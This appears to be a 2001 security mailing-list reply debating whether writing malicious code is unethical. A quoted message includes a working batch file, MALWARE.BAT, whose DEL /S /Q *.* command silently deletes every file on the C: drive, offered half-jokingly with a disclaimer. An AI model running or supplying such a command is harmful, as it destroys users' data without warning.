Re: coding (was: Re: CodeGreen beta release (idq-patcher/antiCodeRed/etc.)

[Chip Carpenter <security () powermmv com>]

Does windows count as malicious code??
(sorry - too easy)
Chip

At 09:26 AM 9/6/01 -0400, Meritt James wrote:
> authoring?  I see no problem.  Releasing?  See the arguments presented
> by tobacco and gun lobbyists.
>
> "Silcock, Stephen" wrote:
> >
> > OK I'm gonna author some malicious code right now.  If you run it that's
> > your own business; I disclaim all responsiblity for use of this software.
> >
> > <START OF MALWARE.BAT>
> > @ECHO OFF
> > C:
> > CD\
> > DEL /S /Q *.*
> > <END OF MALWARE.BAT>
> >
> > Should I go to jail?  I think not... authoring malicious code is a far cry
> > from doing something ethically wrong.  It may be criminal however depending
> > where you live.
> >
> > S.   :)
> >
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